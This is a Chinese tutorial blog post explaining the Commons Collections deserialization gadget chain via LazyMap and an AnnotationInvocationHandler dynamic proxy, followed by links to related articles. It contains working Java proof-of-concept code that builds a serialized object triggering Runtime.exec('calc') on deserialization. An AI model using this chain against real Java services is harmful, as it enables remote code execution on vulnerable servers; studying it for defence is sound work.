java反序列化cc_link_one2
CC-LINK-one_second
前言
这条链子其实是上一条链子的另一种走法,在调用危险函数哪里是没有什么变化的
整体链子
还是尾部没有变化嘛还是InvokerTransformer的transform方法可以执行任意函数,然后我们cc链1用的是TransformedMap类去进行调用,当时我们在查不同名函数调用transform方法的时候找到了一个map的包里面找到了三个链六我们就用另一个不同名函数调用transform方法来尝试

我来组成身体
这里看到一个叫LazyMap我们作为一个调用函数进去看看

构造函数
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
然后里面的get方法调用了transform方法调用的参数是factory,然后这个factory是一个构造函数里面传入的函数,这是个可控变量代表着我们要在构造函数里面传入factory=TransformedMap这个函数这样它就会调用它的transform方法

这里的的factory就是一个Transformer这样调用就很简单了,直接调用ChainedTransformer的transform方法就可以了
在lazymap中调用的get方法的判断的意思是我们传入的Map的Key必须要为空不然不会进入判断里面,看到这里我们写一下调用
这里调用方式是 lazyMap---ChainedTransformer---ChainedTransformer
然后调用呢因为lazyMap是一个保护的所以我们肯定有一个自己调用的方法,然后我们理由反射调用

调用过程就是我们用decorate去调用构造方法
ublic static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
这样就完成了链子的身体,接下来就是去找跟readObeject的交互接下里就是去找get函数如果在谁的readObjet函数调用get函数我们又可以控制这条链子就完成了,我也不知道是怎么找到的get方法太常用了很多不好翻到直接看到了结果,跟我们cc链一模一样的就是AnnotationInvocationHandler这个类然后在它的invoke方法里面
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
invoke呢在java里面代表的是那个动态代理那个处理的方法,然后我们只需要调用它任意一个方法invoke都会被调用,然后我们要执行的get方法在两个if后面我们需要去满足那两个if语句让他顺序执行到下面
第一个if如果执行的是equls方法就返回一个equalsImpl方法
第二个if如果执行的方法的参数不为空就返回报错
第三switch case也是过滤不能调用里面的三种方法。
总结下来我们要执行一个无参方法且不能是equls方法,现在思路如下我们需要用这个handler类去形成一个动态代理,然后用其他的类去用这个静态代理,然后执行一个方法导致方法被执行人
然后这个链子很神奇的也是在同一个类的readObject这个类里面有这这样一个方法

然后就等于说我们要用这个类做一个动态代理然后去把这个类作为这个动态代理的的源对象然后这个代理呢我们找到了动态代理器的AnnotationInvocationHandler的mamberValues.entry()方法这是个无参构造方法然后有符合原理,所以最后poc如下,当然这个链子其实也依赖于jdk的版本,但是到后面jdk对这个版本进行了修复这两条链子都能用了
public class cc_link_6 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map, chainedTransformer);
//生成一个动态代理
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, laztMap);
//去安装代理
Map MapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = declaredConstructor.newInstance(Override.class, MapProxy);
serialize(o);
unseriallize("src.bin");
}
java反序列化cc_link_one2的更多相关文章
- Java反序列化漏洞通用利用分析
原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...
- JAVA 反序列化攻击
Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令. 由于目前发现该漏洞存在于 Apache commons-collec ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)
10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...
- Java反序列化漏洞实现
一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...
- java反序列化漏洞原理研习
零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...
- WebLogic “Java 反序列化”过程远程命令执行
WebLogic “Java 反序列化”过程远程命令执行 详细信息: https://www.seebug.org/vuldb/ssvid-89726 说明: 反序列化是指特定语言中将传递的对象序列化 ...
- Java反序列化漏洞之殇
ref:https://xz.aliyun.com/t/2043 小结: 3.2.2版本之前的Apache-CommonsCollections存在该漏洞(不只该包)1.漏洞触发场景 在java编写的 ...
- java 反序列化漏洞检测及修复
Jboss.Websphere和weblogic的反序列化漏洞已经出来一段时间了,还是有很多服务器没有解决这个漏洞: 反序列化漏洞原理参考:JAVA反序列化漏洞完整过程分析与调试 这里参考了网上的 J ...
随机推荐
- JavaScript之数组常用API
这篇文章主要帮助大家简单理解数组的一些常用API用法,许多小伙伴常用方法记不住?别急,看完下面的介绍您一定就会明白各个方法是如何用的了.该文章适合新手小白看,大佬可以多多指点️! 1.数组的创建以及A ...
- Session认证机制与JWT认证机制
一.什么是身份认证? 身份认证(Authentication)又称"身份验证"."鉴权",是指通过一定的手段,完成对用户身份的确认.日常生活中的身份认证随处可见 ...
- KingbaseES OUT 类型参数过程与函数的调用方法
对于含有 out 类型参数的过程或者函数,只能通过块方式调用,这是因为,ksql 还不支持类似 Oracle 那样通过 var 定义变量. 一.带OUT的procedure 调用 创建过程: crea ...
- 设计模式——桥接模式(Bridge模式)
基本介绍 桥接模式(Bridge模式):将实现与抽象放在两个不同的类层次中,使两层次可以独立改变 是一种结构型设计模式 说白了就是有多个维度的变化,这样的组合关系如果按照传统的方式会导致类爆炸,所以需 ...
- 多版本并发控制 MVCC
介绍多版本并发控制 多版本并发控制技术(Multiversion Concurrency Control,MVCC) 技术是为了解决问题而生的,通过 MVCC 我们可以解决以下几个问题: 读写之间阻塞 ...
- 璞华HawkEye平台助力乳品行业巨头在数字化转型中领“鲜”一步!
中国乳制品的市场规模接近4,000亿.在今天,产业数字化正在帮助这个传统产业实现更高质量的发展. 乳品行业现状 随着乳品行业规模扩大,各工厂引进大量的专用设备,设备故障也随之增多.设备的突发故障极易造 ...
- 实践torch.fx第二篇-fx量化实操
好久不见各位,哈哈,又鸽了好久. 本文紧接上一篇<实践torch.fx第一篇--基于Pytorch的模型优化量化神器>继续说,主要讲如何利用FX进行模型量化. 为什么这篇文章拖了这么久,有 ...
- 18. Fluentd输出插件:out_stdout用法详解
stdout即标准输出,out_stdout将收到的日志事件打印到标准输出. 如果Fluentd以daemon方式在后台运行,out_stdout会将事件输出到Fluentd的运行日志中. 这个插件在 ...
- Java泛型的总结
泛型可以用于接口.类.方法上.还有泛型通配符这个概念 泛型的好处:可以在编译时检查 1.用于方法中,指定该方法中的形参的类型. 语法:修饰符 <代表泛型的变量> 返回值类型 方法名(参数) ...
- PAT (Basic Level) Practice 1006 换个格式输出整数 分数 15
让我们用字母 B 来表示"百".字母 S 表示"十",用 12...n 来表示不为零的个位数字 n(<10),换个格式来输出任一个不超过 3 位的正整数. ...